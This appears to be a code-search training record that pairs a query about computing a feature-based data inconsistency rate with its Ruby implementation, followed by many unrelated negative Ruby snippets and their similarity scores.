[ "0.7020216", "0.64799225", "0.6375542", "0.62193424", "0.61297035", "0.6014982", "0.60098606", "0.5995368", "0.59916866", "0.5942212", "0.5940575", "0.59170175", "0.5857477", "0.5850115", "0.58455986", "0.5829715", "0.5828734", "0.5805956", "0.5804859", "0.57989734", "0.5796317", "0.57802796", "0.57746464", "0.5772256", "0.5772256", "0.5772256", "0.5771445", "0.5763359", "0.57603705", "0.5755346", "0.5755346", "0.5755346", "0.575501", "0.5750048", "0.5748202", "0.5734945", "0.5734945", "0.5734945", "0.5733604", "0.57230765", "0.57230765", "0.57135195", "0.5702384", "0.5654776", "0.56517303", "0.5650257", "0.5638699", "0.5627846", "0.5610286", "0.5606419", "0.5603553", "0.5602869", "0.5596621", "0.5594816", "0.55867654", "0.5569198", "0.55522066", "0.55463046", "0.55380744", "0.5536417", "0.5525168", "0.5522695", "0.55163485", "0.5510926", "0.55052966", "0.550196", "0.5499929", "0.5493843", "0.54926926", "0.54917604", "0.54910314", "0.548997", "0.5487923", "0.5480648", "0.5480648", "0.54751074", "0.5471454", "0.54650414", "0.5463228", "0.54605305", "0.545969", "0.54532605", "0.5452561", "0.54423326", "0.5436844", "0.54311126", "0.5427232", "0.5426846", "0.5426846", "0.5426736", "0.5426736", "0.5420024", "0.54199386", "0.5407975", "0.5406341", "0.5400302", "0.53952396", "0.5394591", "0.539274", "0.53896713" ]
0.60514283
5
get_IR_by_count get data inconsistency rate for given features
def get_IR_by_feature(inst_cnt, feats) return 0.0 if feats.empty? # build new inst_count for feats inst_cnt_new = {} inst_cnt.each do |key, hcnt| key_new = feats.sort.collect { |f| match_data = key.match(/#{f}:.*?\|/) match_data[0] if match_data }.compact.join # remove nil entry and join next if key_new.empty? hcnt_new = inst_cnt_new[key_new] || Hash.new(0) # merge cnts inst_cnt_new[key_new] = hcnt_new.merge(hcnt) { |kk, v1, v2| v1+v2 } end # inconsistency rate get_IR_by_count(inst_cnt_new) end
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def get_IR_by_count(inst_cnt) \n incon, sample_size = 0.0, 0.0\n \n inst_cnt.values.each do |hcnt|\n cnt = hcnt.values\n incon += cnt.sum-cnt.max\n sample_size += cnt.sum\n end\n \n # inconsistency rate\n (sample_size.zero?) ? 0.0 : incon/sample_size\n end", "def chi2_get_inconsistency_rate(inst_cnt, f2bs)\n # build a new instance count Hash table\n inst_cnt_new = {}\n \n inst_cnt.each do |key, hcnt|\n key_new = key.dup\n f2bs.keys.each do |f|\n if key_new =~ /#{f}:(.*?)\\|/\n v = $1.to_f\n key_new.gsub!(/#{f}:.*?\\|/, \"#{f}:#{get_index(v, f2bs[f])}|\")\n end\n end\n \n hcnt_new = inst_cnt_new[key_new] ||= Hash.new(0)\n inst_cnt_new[key_new] = hcnt_new.merge(hcnt) { |kk, v1, v2| v1+v2 }\n end\n \n get_IR_by_count(inst_cnt_new)\n end", "def get_IR(my_data=nil)\n my_data ||= get_data # use internal data by default\n inst_cnt = get_instance_count(my_data)\n ir = get_IR_by_count(inst_cnt)\n \n # inconsistency rate\n ir\n end", "def generate_reek_count_feature\n hash = JSON.parse(IO.read(@feature_dir + \"/reek.json\"))\n smells = @all_smells - @filter_smells\n reek_count_feature = Array.new(@indexes.length, 0)\n @indexes.each_with_index do |index, i|\n next unless hash[index.to_s + \".rb\"]\n reek_count_feature[i] = hash[index.to_s + \".rb\"].values.reduce(0) {|accum, i| accum + i}\n end\n write_column_feature_to_file reek_count_feature, @feature_dir + \"/reek_count_feature.np\"\n end", "def generate_library_call_count_feature\n library_call_count_feature = Array.new(@indexes.length, 0)\n @indexes.each_with_index do |index, i|\n hash = JSON.parse(IO.read(@feature_dir + \"/library_calls/#{index.to_s}.json\"))\n library_call_count_feature[i] = hash.length\n end\n write_column_feature_to_file library_call_count_feature, \"library_call_count_feature.np\"\n end", "def get_histogram(features)\n return [] if features.empty?\n results = []\n #lower limit\n left = features.first.start - (features.first.start % 10)\n #upper limit\n right = features.last.end + (features.last.end % 10)\n #number of arrays\n start = left\n while start <= right\n results << [start, 0, 0]\n start += 10\n end\n features.each do |f|\n window = f.start - (f.start % 10)\n start_index = nil\n if window == left\n start_index = 0\n else\n start_index = (window - left) / 10\n end\n end_index = start_index + (((f.end - f.start) - ((f.end - f.start) % 10)) / 10)\n for index in start_index .. end_index\n break if index > results.length\n if f.strand.match(/\\+/)\n results[index][1] += 1\n else\n results[index][2] += 1\n end\n end\n end\n return results\n\n end", "def generate_control_flow_count_feature\n control_flow_count_feature = Array.new(@indexes.length, 0) \n @indexes.each_with_index do |index, i|\n hash = JSON.parse(IO.read(@feature_dir + \"/control_flow/#{index.to_s}.json\"))\n control_flow_count_feature[i] = hash.values.reduce(0) { |accum, i| accum + i}\n end\n write_column_feature_to_file control_flow_count_feature, \"control_flow_count_feature.np\"\n end", "def get_feature_values\n out = File.open(\"#{$prepare_dir}/refseq_genes_result.tsv\", \"w\")\n template = File.read(\"#{@base_dir}/sparql/create_refseq2up_tsv.rq.erb\")\n stats = {}\n @refseq_list.each {|refseq|\n retry_cnt = 0 #prevent from infinite loop\n rsid = refseq [\"refseq_id\"]\n #next unless (rsid == \"NZ_CP011382.1\" || rsid == \"NC_003272.1\" || rsid == \"NC_000010.11\") #TODO delete\n query_text = ERB.new(template).result(binding)\n begin\n result = \"\"\n puts rsid\n @sparql_ep.query(query_text, :format => 'json') do |json|\n result += json\n end\n $stderr.puts \"success get featurs of #{rsid} .\"\n result = JSON.parse(result)[\"results\"][\"bindings\"]\n rescue # when occures timeout or json parse error\n retry_cnt += 1\n $stderr.puts \"error get featurs of #{rsid} .\"\n if retry_cnt <= 10\n $stderr.puts \"start retry after 30 sec...\"\n sleep 30\n retry\n else #prevent from infinite loop\n $stderr.puts \"finally, cloudn't get featurs of #{rsid} . Please check the data or environment\"\n next\n end\n end\n result.each do |entry|\n refseq_data = [\n entry['taxonomy_id']['value'],\n entry['gene']['value'],\n entry['gene_label']['value']\n ]\n if entry['protein_id']\n refseq_data.push(entry['protein_id']['value'])\n else\n refseq_data.push(\"\")\n end\n if entry['insdc_gene_id']\n refseq_data.push(entry['insdc_gene_id']['value'])\n else\n refseq_data.push(\"\")\n end\n out.puts refseq_data.join(\"\\t\")\n end\n }\n out.flush\n out.close\nend", "def getInts(pep)\n rt_helper = RetentionTime::Helper\n pep_id = pep[0]\n p_int = pep[7] + rt_helper.RandomFloat(-5,2)\n if p_int > 10\n p_int -= 10\n end\n predicted_int = (p_int * 10**-1) * 14183000.0 \n low = 0.1*predicted_int\n relative_ints = (@db.execute \"SELECT ints FROM core_spec WHERE pep_id=#{pep_id}\").flatten[0].gsub(/\\[/,\"\").split(/,/).map{|val| val.to_f}\n core_mzs = (@db.execute \"SELECT mzs FROM core_spec WHERE pep_id=#{pep_id}\").flatten[0].gsub(/\\[/,\"\").split(/,/).map{|val| val.to_f}\n avg = pep[5] #p_rt\n\n sampling_rate = @opts[:sampling_rate].to_f\n wobA = Distribution::Normal.rng(@opts[:wobA].to_f,0.0114199604).call #0.0014199604 is the standard deviation from Hek_cells_100904050914 file\n wobB = Distribution::Normal.rng(@opts[:wobB].to_f,0.01740082).call #1.20280082 is the standard deviation from Hek_cells_100904050914 file\n tail = Distribution::Normal.rng(@opts[:tail].to_f,0.018667495).call #0.258667495 is the standard deviation from Hek_cells_100904050914 file\n front = Distribution::Normal.rng(@opts[:front].to_f,0.01466692).call #4.83466692 is the standard deviation from Hek_cells_100904050914 file\n # These number didn't work. May need to get more samples or figure something else out. For now this will give us some\n # meta variance in any case\n mu = @opts[:mu].to_f\n\n index = 0\n sx = pep[9]\n sy = (sx**-1) * Math.sqrt(pep[8]) #abu\n\n shuff = rt_helper.RandomFloat(0.05,1.0)\n core_mzs.each_with_index do |mzmu,core_idx|\n\n relative_abundances_int = relative_ints[index]\n\n t_index = 1\n\n (Mspire::Simulator::Spectra::r_times[pep[10]..pep[11]]).each_with_index do |rt,i| \n\n\n if !@one_d\n #-------------Tailing-------------------------\n shape = (tail * (t_index / sx)) + front\n int = (rt_helper.gaussian((t_index / sx) ,mu ,shape,100.0))\n t_index += 1\n #---------------------------------------------\n\n else\n #-----------Random 1d data--------------------\n int = (relative_abundances_int * ints_factor) * shuff\n #---------------------------------------------\n end\n\n if int < 0.01\n int = rt_helper.RandomFloat(0.001,0.4)\n end\n\n=begin\n if !@one_d\n #-------------M/Z Peak shape (Profile?)-------\n fraction = rt_helper.gaussian(fin_mzs[i],mzmu,0.05,1)\n factor = fraction/1.0\n fin_ints[i] = fin_ints[i] * factor\n #---------------------------------------------\n end\n=end\t \n\n if int > 0.4\n #-------------Jagged-ness---------------------\n sd = (@opts[:jagA] * (1-Math.exp(-(@opts[:jagC]) * int)) + @opts[:jagB])/2\n diff = (Distribution::Normal.rng(0,sd).call)\n int += diff\n #---------------------------------------------\n end\n\n #-------------mz wobble-----------------------\n wobble_mz = nil\n if int > 0\n wobble_int = wobA*int**wobB\n wobble_mz = Distribution::Normal.rng(mzmu,wobble_int).call\n if wobble_mz < 0\n wobble_mz = 0.01\n end\n end\n #---------------------------------------------\n\n\n int = int*(predicted_int*(relative_abundances_int*10**-2)) * sy\n if int > low.abs and wobble_mz > 0\n @db.execute \"INSERT INTO spectra VALUES(#{@cent_id},#{pep_id},#{rt},#{wobble_mz},#{int},NULL,#{core_idx})\"\n# @db.execute \"INSERT INTO spectra VALUES(#{@cent_id},#{pep_id},#{rt},#{wobble_mz},#{int},NULL)\"\n @cent_id += 1\n if @max_mz < wobble_mz\n @max_mz = wobble_mz\n end\n end\n end\n index += 1\n end\n end", "def ri_counts(*args)\n resources, opts = ri_opts(args)\n counts = {}\n threads = []\n resources.each do |res|\n next unless res.populated?\n threads << Thread.new do\n counts[res.acronym] = res.concept_count(self.xxhash, opts)\n end\n end\n threads.each(&:join)\n counts\n end", "def readWeights\n\ti=0\n\tFile.open(RISKS).each_line { |line|\n\t\tns = line.split\n\t\t@risks[ns[0]] = ns[1].to_i\n\t\ti = i+1\n\t}\n\tFile.open(SYS_FUN).each_line { |line|\n\t\tns = line.split\n\t\t@frisk[ns[0]] = ns[1].to_i\n\t\ti = i+1\n\t}\n\treturn i\nend", "def estimate_count\n -(m / k.to_f) * Math.log(1 - (filter.cardinality / m.to_f))\n end", "def increment(stat, sample_rate=1); count stat, 1, sample_rate end", "def sample(count = 1)\n (0...count).to_a.sample(count).map do |sampled_rank|\n connection.zrevrange(key_label, sampled_rank, sampled_rank)\n end.compact.map(&:first)\n end", "def ig_ind\n\t\taibc(@datos[0]).each_with_index.map{ |ind, i| (ind/aibc(@datos[1])[i])*100 }\n\tend", "def param_rate(param_id)\r\n features_pi(FEATURE_PARAM, param_id)\r\n end", "def count(stat, count, sample_rate=1); send stat, count, 'c', sample_rate end", "def generate_statistics_from_nif(entity_types, count = 10, demand_reload = false)\n unless @nif_file_path\n raise RuntimeError.new('Instance has no defined return nif_dataset_path. Can not start generate from nif datset. Please create new instance.')\n end\n\n resources = get_best_ranked_resources(entity_types, count)\n resources = keep_unloaded(resources) unless demand_reload\n\n actual_resource_data = []\n lines_group = []\n\n begin\n time_start = Time.now\n nif_file = File.open(@nif_file_path, 'r')\n line = nif_file.readline\n\n until nif_file.eof?\n line = nif_file.readline\n\n if lines_group.size == 7\n # evaulate group (7 lines)\n this_resource_uri = NIFLineParser.parse_resource_uri(lines_group[0])\n\n if resources.keys.include?(this_resource_uri)\n # process group, is requested\n resource_uri = this_resource_uri\n actual_resource_data << NIFLineParser.parse_line_group(lines_group)\n\n elsif !actual_resource_data.empty?\n # resource changed, process actual_resource_data\n resource_hash = resources.delete(resource_uri)\n type = resource_hash[:type]\n\n this_time = (Time.now - time_start).round(2)\n puts \"\\n#{resource_uri}\\n- nif found in #{this_time}\\n- resources to find #{resources.size}\" if @console_output\n\n result_relations = find_relations(resource_uri, actual_resource_data, type)\n generate_result_file(resource_uri, type, result_relations, this_time)\n\n actual_resource_data = []\n time_start = Time.now\n end\n\n # start new group\n lines_group = [line]\n else\n\n # join line to group\n lines_group << line\n end\n\n break if resources.empty?\n end\n\n ensure\n nif_file.close if nif_file && !nif_file.closed?\n end\n end", "def get_reads(features)\n result = {}\n result[:watson] = features.select { |f| f.strand == '+' }.collect { |e| e.to_read }\n result[:crick] = features.select { |f| f.strand == '-' }.collect { |e| e.to_read }\n return result\n end", "def test_get_larger_feature_vect()\n feature_v = [\"percent_normal_cells\", \n \"percent_stromal_cells\", \n \"percent_tumor_cells\",\n \"percent_lymphocyte_infiltration\",\n \"vital_status\",\n \"death_days_to\",\n \"last_contact_days_to\", \n \"tumor_status\",\n \"ajcc_tumor_pathologic_pt\",\n \"ajcc_nodes_pathologic_pn\", \n \"ajcc_metastasis_pathologic_pm\", \n \"ajcc_pathologic_tumor_stage\"\n ]\n \n rs = ClinicalTCGA::RetrieveSamples.new([\"TCGA-QG-A5YW\", \"TCGA-A6-2676\"],\n feature_v,\n false)\n rs.add_all_sources(\"#{ENV['TCGA_CLINICAL_TEST_DATA']}/Biotab/\", false) # suppress progress bar for unit test\n \n h = Hash.new\n rs.get_feature_vector{|sample,fV| h[sample] = fV}\n \n assert_equal(h[\"TCGA-QG-A5YW\"][0], 10.0, \"not expected value at index 0\")\n assert_equal(h[\"TCGA-A6-2676\"][0], 2.5, \"not expected value at index 0\")\n assert_equal(h[\"TCGA-QG-A5YW\"][-2],nil, \"not expected value at index -2\")\n assert_equal(h[\"TCGA-A6-2676\"][-2],\"M0\", \"not expected value at index -2\")\n end", "def df_r\n @n_predictors\n end", "def get_statistics_of_features\r\n return @statistics if not @statistics.nil?\r\n\r\n # Statistics of features (min, max, mean, sd)\r\n @statistics = []\r\n\r\n count_features.times do |i|\r\n f_min, f_max, f_mean, f_std = statistics_of_features(i)\r\n\r\n @statistics[i] = [f_min, f_max, f_mean, f_std]\r\n end\r\n\r\n @statistics\r\n end", "def rates; end", "def rates; end", "def base_ratios_in_region(opts={})\n opts[:region] = opts[:region].to_s if opts[:region] .class == Bio::DB::Fasta::Region \n region = opts[:region]\n calculate_stats_from_pile(opts) if @cached_regions == nil or @cached_regions[region] == nil\n @cached_regions[region].base_ratios \n end", "def read_rate(from, to)\n raise NotImplementedError\n end", "def count_ifs()\n return MicrosoftGraph::Drives::Item::Items::Item::Workbook::Functions::CountIfs::CountIfsRequestBuilder.new(@path_parameters, @request_adapter)\n end", "def flamegraph_sample_rate; end", "def flamegraph_sample_rate=(_arg0); end", "def ab_counts(_experiment, _alternative)\n raise \"Not implemented\"\n end", "def get_library_call_feature\n library_functions = get_library_functions_list\n puts \"[# of all library functions called]: \" + library_functions.length.to_s\n \n library_call_feature = Array.new(@indexes.length) { Array.new(library_functions.length, 0)}\n \n @indexes.each_with_index do |index, i|\n # Read JSON data for ith submission\n hash = JSON.parse(IO.read(@feature_dir + \"/library_calls/#{index.to_s}.json\"))\n library_functions.each_with_index do |function, j|\n if hash[function]\n library_call_feature[i][j] = hash[function]\n end\n end\n end\n return library_call_feature\n end", "def fetch_rate(from, to)\n uri = build_uri(from, to)\n data = perform_request(uri)\n extract_rate(data)\n end", "def get_IG()\n return (get_AIBC(1) / Experimento.new(nil, @glucosa, @glucosa).get_AIBC(1)) * 100\n end", "def test_get_feature_vect()\n rs = ClinicalTCGA::RetrieveSamples.new([\"TCGA-A6-2671\",\"TCGA-A6-2672\"], \n [\"vital_status\", \"death_days_to\",\"percent_tumor_nuclei\"], \n false)\n followup = \"#{ENV['TCGA_CLINICAL_TEST_DATA']}/Biotab/nationwidechildrens.org_clinical_follow_up_v1.0_coad.txt\"\n tumor_sample = \"#{ENV['TCGA_CLINICAL_TEST_DATA']}/Biotab/nationwidechildrens.org_biospecimen_slide_coad.txt\"\n rs.add_tcga_source(followup)\n rs.add_tcga_source(tumor_sample)\n \n h = Hash.new\n rs.get_feature_vector do |sample,fV|\n h[sample] = fV\n end\n\n assert_equal(h[\"TCGA-A6-2671\"], [\"Dead\", \"1331\", 35.0], \"returned unexpected result for TCGA-A6-2671\")\n assert_equal(h[\"TCGA-A6-2672\"], [\"Alive\", \"[Not Available]\", 40.0], \"returned unexpected result for TCGA-A6-2672\")\n end", "def test_processor_input_field_count_for_claim_level_without_provider_npi\n insurance_payment_eob = InsurancePaymentEob.find(8)\n total_field_count = insurance_payment_eob.processor_input_field_count(facilities(:facility_1))\n assert_equal(total_field_count, 43)\n end", "def rates **_opts\n raise NotImplementedError\n end", "def infections_count_changes(scan)\n rows = scan.get_scans_for_last(30.days)\n last_count = nil\n rows.collect do |row|\n diff = row.infections_count - last_count rescue 0;\n last_count = row.infections_count;\n [row.complete.to_i * 1000, diff]\n end\nend", "def average_ifs()\n return MicrosoftGraph::Drives::Item::Items::Item::Workbook::Functions::AverageIfs::AverageIfsRequestBuilder.new(@path_parameters, @request_adapter)\n end", "def features_pi(code, id)\n result = features_with_id(code, id).inject(1.0){ |r, ft|\n r *= (ft.value == 0.0) ? 0.0000001 : ft.value\n }\n end", "def calculate_count _changed_card=nil\n result = {}\n item_cards(default_query: true).each do |metric_id|\n result[metric_id] = true unless result.key?(metric_id)\n end\n result.to_json\nend", "def prepare_data(num_rows)\n app_train = read_dataset_from_csv('./input/application_train', num_rows)\n data = app_train[\"data\"]\n set_categorical_labels(data)\n numeric_features, _categorical_features = get_numeric_cateforical_features_from_the_raw_dataset(app_train[\"data\"])\n categorical_features_one_hot_encode = get_one_hot_feature_map_from_the_origin_dataset(data)\n one_hot_encoding_using_feature_map(data, categorical_features_one_hot_encode)\n\n # NaN values for DAYS_EMPLOYED: 365243 -> nan\n data.each do |r|\n r_features = r[\"features\"]\n if r_features[\"days_empoyed\"] == 365243\n r_features[\"days_employed\"] = \"\"\n r_features[\"days_employed_anom\"] = 1\n else\n r_features[\"days_employed_anom\"] = 0 \n end \n \n add_ratio_feature(\"payment_rate\", \"amt_annuity\", \"amt_credit\", r)\n add_ratio_feature(\"annuity_income_ratio\", \"amt_annuity\", \"amt_income_total\", r)\n add_ratio_feature(\"credit_goods_ratio\", \"amt_credit\", \"amt_goods_price\", r)\n # add_ratio_feature(\"income_person_ratio\", \"amt_income_total\", \"cnt_fam_members\", r)\n add_ratio_feature(\"employed_birth_ratio\", \"days_employed\", \"days_birth\", r)\n end\n # categorical_features << \"days_employed_anom\"\n\n bureau = read_dataset_from_csv('./input/bureau', 1000, $bureau_numeric_features)\n # bureau[\"data\"].each do |r|\n # puts r[\"features\"][\"days_enddate_fact\"]\n # end\n # return\n grouped = group_data(bureau[\"data\"])\n agged = agg_group_data(grouped, $bureau_numeric_features, \"bureau\")\n merge_to_dataset(app_train, agged, $bureau_numeric_features)\n\n app_train[\"features\"] = app_train[\"data\"][0][\"features\"].keys\n\n puts \"begin to normalize the dataset......\"\n nomalizer = Normalizer.new\n nomalizer.normalize(app_train, numeric_features)\n\n puts \"begin to impute missing value......\"\n imputer = SimpleImputer.new\n imputer.fit(app_train)\n \n puts \"finish preparing the dataset!\"\n return app_train\nend", "def test_processor_input_field_count_for_claim_level_without_provider_tin\n insurance_payment_eob = InsurancePaymentEob.find(8)\n total_field_count = insurance_payment_eob.processor_input_field_count(facilities(:facility_1))\n assert_equal(total_field_count, 43)\n end", "def sample_rate\n @values.fetch('sampleRate') { \n @values['sampleRate'] = 100.0\n }\n end", "def calculate_rsi(buffer, pos, rsi_period)\n rsi_period_key = rsi_period.to_s\n \n if !buffer[pos].rsis[rsi_period_key]\n # calculate new RSI (slower)\n gains = losses = 0\n for i in pos-rsi_period+1..pos\n diff = buffer[i].avg - buffer[i-1].avg\n if diff > 0\n gains += diff\n else\n losses -= diff\n end\n end\n buffer[pos].rsi_avggains[rsi_period_key] = avg_gain = gains / rsi_period\n buffer[pos].rsi_avglosses[rsi_period_key] = avg_loss = losses / rsi_period\n rs = avg_gain/avg_loss\n buffer[pos].rsis[rsi_period_key] = 100 - (100 / (1 + rs))\n \n # puts \"(calculate_rsi #{ma_period}) avg_gain #{avg_gain}, avg_loss #{avg_loss}, rs #{rs}, rsi #{buffer[pos].rsis[rsi_period_key]}\"\n end\nend", "def df_r\n @predictors_n\n end", "def get_insurance_discount_all_using_get_with_http_info(opts = {})\n if @api_client.config.debugging\n @api_client.config.logger.debug 'Calling API: InsuranceApi.get_insurance_discount_all_using_get ...'\n end\n # resource path\n local_var_path = '/insurance_discount'\n\n # query parameters\n query_params = {}\n query_params[:'ascending'] = opts[:'ascending'] if !opts[:'ascending'].nil?\n query_params[:'filter'] = opts[:'filter'] if !opts[:'filter'].nil?\n query_params[:'order_by'] = opts[:'order_by'] if !opts[:'order_by'].nil?\n query_params[:'page'] = opts[:'page'] if !opts[:'page'].nil?\n query_params[:'size'] = opts[:'size'] if !opts[:'size'].nil?\n\n # header parameters\n header_params = {}\n # HTTP header 'Accept' (if needed)\n header_params['Accept'] = @api_client.select_header_accept(['*/*'])\n\n # form parameters\n form_params = {}\n\n # http body (model)\n post_body = nil\n auth_names = ['oauth2']\n data, status_code, headers = @api_client.call_api(:GET, local_var_path,\n :header_params => header_params,\n :query_params => query_params,\n :form_params => form_params,\n :body => post_body,\n :auth_names => auth_names,\n :return_type => 'PageInsuranceDiscount')\n if @api_client.config.debugging\n @api_client.config.logger.debug \"API called: InsuranceApi#get_insurance_discount_all_using_get\\nData: #{data.inspect}\\nStatus code: #{status_code}\\nHeaders: #{headers}\"\n end\n return data, status_code, headers\n end", "def gm_full_rate(interval)\n @gm_full_rate ||= {}\n return @gm_full_rate[interval] if @gm_full_rate[interval]\n @gm_full_rate[interval] = GmRateFinder.find(:revenue, interval, project: project)\n end", "def get_region_mortality_rate_frequency (region = nil)\n logger.debug \"[DEBUG] Argument region: #{region}\"\n logger.info \"[INFO] Trying to get the mortality rate's frequencies list. Region: #{region}\"\n\n # First, we need to verify if the region is registered as valid\n if is_region_valid? region\n logger.debug \"[DEBUG] Region name validation method returned true.\"\n logger.info \"[INFO] Region name is valid, continue.\"\n\n # Is necessary to get the number of registered region's data to calculate the average\n number_of_data_for_region = MortalityRate.where(regiao: region).count\n \n if number_of_data_for_region != 0\n # All the values below were arbitrarily selected, however it was designed to\n # give users a best experience reading the data.\n # Each nested list is a range with two limits, in percentage.\n # The first is the limit down, the second, limit up.\n # [PAY ATTENTION] be careful when you decide to change this list,\n # some modifications must be done in the index HTML and JavaScript view,\n # and this list should never be bigger than FREQUENCIES_LIST_SIZE!!\n rate_ranges = [[ 0.0 , 8.0],\n [ 8.0 , 10.0],\n [10.0 , 12.0],\n [12.0 , 15.0],\n [15.0 , 20.0],\n [20.0 , 100.0]]\n\n # Respect the list size limit\n # DO NOT remove this line!\n rate_ranges = rate_ranges[0...FREQUENCIES_LIST_SIZE]\n\n region_rates_frequency = [] # It will store the 6 frequency values.\n\n # Iterate over rate ranges and, for each range, calculate the frequency of cities\n # that belongs to the region and has the mortality rate included in the range.\n rate_ranges.each do |each_range|\n begin\n rates_per_range_counter = count_number_of_rates_in_limits(region, each_range[0], each_range[1])\n rates_per_range_frequency = (rates_per_range_counter.to_f/number_of_data_for_region.to_f)*100.0\n\n logger.debug \"[DEBUG] each_range: #{each_range\n }, rates_per_range_counter: #{rates_per_range_counter\n }, number_of_data_for_region: #{number_of_data_for_region\n }, rates_per_range_frequency: #{rates_per_range_frequency}\"\n\n region_rates_frequency << rates_per_range_frequency # Append the calculated frequency.\n rescue Errors::InvalidPercentageValueError\n logger.error \"[ERROR] Any limit out of range: #{each_range}\"\n logger.info \"[INFO] Skip this range, going to the next range in the rate ranges list.\"\n end\n end\n\n logger.debug \"[DEBUG] Exited rate_ranges loop with region_rates_frequency: #{region_rates_frequency}\"\n return region_rates_frequency\n else\n # There is no data available to be calculated for this region\n logger.info \"[INFO] There is no data for this region name.\"\n logger.debug \"[DEBUG] number_of_data_for_region: 0\"\n logger.warn \"[WARN] There is no data for the region named \\\"#{region}\\\"\"\n\n return [0] * FREQUENCIES_LIST_SIZE# Displays nothing in the chart\n end\n else\n # The region name is invalid\n logger.debug \"[DEBUG] Region name validation method returned false.\"\n logger.info \"[INFO] Region name is invalid, break.\"\n logger.error \"[ERROR] This region name is not registered: #{region}.\"\n\n # Must raise an invalid region name exception\n raise Errors::RegionNameError \n end\n end", "def getSamples(n=1)\n if n == :all\n current_sample = 0\n n = @no_samples - 1\n else\n if (@current_sample + n > @no_samples)\n n = @no_samples - @current_sample\n if n < 1\n return false\n end\n end\n end\n \n ((@current_sample + 1)..(@current_sample += n)).to_a.collect{ |sample_num|\n {\n :time => getuint32*@interval_units,\n :data => (1..@no_params).to_a.collect { |param_index| getFloat() }\n }\n }.flatten\n end", "def anisotropy_index\n @direct_normal_irradiance / extraterrestrial_irradiance\n end", "def get_required_features(features)\n end", "def query\n send_query.then { |m|\n %i(id frames channel_count sample_rate).zip(m.args).to_h\n }.value!\n end", "def get_statistics_of_features(klass = nil)\r\n # Statistics of features (min, max, mean, sd, var, sum)\r\n @statistics = []\r\n\r\n count_features.times do |i|\r\n f_min, f_max, f_mean, f_std, f_var, f_sum = statistics_of_features(i, klass)\r\n\r\n @statistics[i] = [f_min, f_max, f_mean, f_std, f_var, f_sum]\r\n end\r\n\r\n @statistics\r\n end", "def features_pi(code, id)\r\n features_with_id(code, id).inject(1.0) {|r, ft| r *= ft.value }\r\n end", "def interest_rate\n params['interest_rate'] = params['interest_rate'].to_f\n\n old_rate = @@interest_rate\n @@interest_rate = params['interest_rate']\n json_response(old_rate: old_rate, new_rate: @@interest_rate)\n end", "def calculate_irreducibles\n @irreducibles = make_default_set(@lattice.index_lex)\n for x in @lattice do\n if @lattice.upper_covers[x].count() == 1 then\n @irreducibles.add(x)\n end\n end\n end", "def test_processor_input_field_count_for_retention_fee_line_item_number_pbid_and_payment_status_code_with_data\n svc = ServicePaymentEob.find(10)\n total_field_count = svc.processor_input_field_count(facilities(:facility_25), true)\n assert_equal(total_field_count, 4)\n end", "def recommend_for_resource(resource,opts={})\n q = %Q{\n SELECT a.*\n FROM (#{frequency_matrix}) f, #{slope_one_options[:resource_table]} a\n WHERE frequency > 0 \n AND source_id = ? \n AND a.id = target_id\n ORDER BY (difference / frequency) DESC LIMIT ?;\n }\n find_by_sql [q, resource.id, opts[:limit] || 20]\n end", "def range(assembly, left, right, experiment_id, bases, pixels)\n zoom_factor = bases.to_i / pixels.to_i\n response = new_response\n exp = Experiment.find(experiment_id)\n reference = Reference.first(:conditions => [\"name = ? AND genome_id = ?\", \"#{ assembly }\", \"#{exp.genome_id}\"])\n features = Feature.find_in_range_no_overlap(reference.id, left, right, experiment_id)\n return response if features.empty?\n #case features.first.feature\n\n #when \n if Feature.allowed_read_types.include?(features.first.feature) #'polymerase_synthesis_read'\n if zoom_factor >= 10\n hist_data = get_histogram(features)\n response[:data] = {}\n response[:data][:read] = hist_data\n return response\n elsif zoom_factor < 10 and zoom_factor > 0.1\n box_data = get_boxes(features)\n response[:data] = {}\n response[:data][:read] = box_data\n else\n read_data = get_reads(features)\n response[:data] = {}\n response[:data][:read] = read_data\n end\n\n else\n response[:data] = []\n response[:data] = features.collect! { |f| f.to_annoj }\n end\n return response\n end", "def gain(feature)\r\n\t\treturn self.info - self.featureInfo(feature)\r\n\tend", "def index\n c = DisAdditiveFrequency.paginate(:page => params[:page], :per_page => 20)\n v = DisAdditiveFrequency.query(c)\n respond_with v\n end", "def icc_2_f\n Statsample::Test::F.new(bms, ems, @df_bt, @df_residual)\n end", "def check\n rates = GRADES.each_with_object({}) { |klass, res| res[klass] = 0.0.to_d }\n strategy.each do |(period, sections)|\n Array(sections).each do |section|\n rate(\n rates,\n metrics[period.to_s],\n @project.data_for(section: section, period: period, opts: { last_year_offset: @last_year_offset }),\n @classifiers.fetch(\"#{section}_#{period}\".to_sym)\n )\n end\n end\n rates\n end", "def processor_input_field_count(facility, insurance_eob)\r\n total_field_count_with_data = 0\r\n payment_code_fields_with_data = []\r\n configured_amount_fields = []\r\n constant_fields = [service_quantity, service_modifier1,\r\n service_modifier2, service_modifier3, service_modifier4, \r\n copay_reason_code_id, coinsurance_reason_code_id, \r\n contractual_reason_code_id, deductible_reason_code_id,\r\n discount_reason_code_id, noncovered_reason_code_id, primary_payment_reason_code_id]\r\n constant_amount_fields = [service_allowable, service_no_covered,\r\n service_discount, service_co_insurance, service_deductible, service_co_pay,\r\n primary_payment, contractual_amount]\r\n constant_charge_and_payment_fields = [service_procedure_charge_amount,\r\n service_paid_amount]\r\n fc_ui_date_fields = [date_of_service_from, date_of_service_to]\r\n fc_ui_fields = [service_procedure_code, bundled_procedure_code, revenue_code,\r\n denied_reason_code_id, rx_number, service_provider_control_number,\r\n line_item_number, payment_status_code, pbid, retention_fees,\r\n service_prepaid, prepaid_reason_code_id, service_plan_coverage,\r\n patient_responsibility, pr_reason_code_id]\r\n expected_payment_field = [expected_payment]\r\n payment_code_fields = [inpatient_code, outpatient_code]\r\n \r\n payment_code_fields_with_data = payment_code_fields.select{|field|\r\n !field.blank?}.compact\r\n \r\n unless payment_code_fields_with_data.blank?\r\n if payment_code_fields_with_data.include?(\"1,2\")\r\n total_field_count_with_data += 2\r\n else\r\n total_field_count_with_data += 1\r\n end\r\n end\r\n \r\n configured_date_fields = fc_ui_date_fields.select{|field|\r\n facility.details[:service_date_from]}\r\n configured_amount_fields << denied if facility.details[:denied]\r\n configured_amount_fields << drg_amount if facility.details[:drg_amount]\r\n \r\n total_other_fields = constant_fields + fc_ui_fields + configured_date_fields +\r\n constant_charge_and_payment_fields\r\n total_amount_fields = constant_amount_fields + configured_amount_fields +\r\n expected_payment_field\r\n\r\n total_other_fields_with_data = total_other_fields.select{|field| !field.blank?}\r\n total_amount_fields_with_data = total_amount_fields.select{|field|\r\n !field.blank? and field != 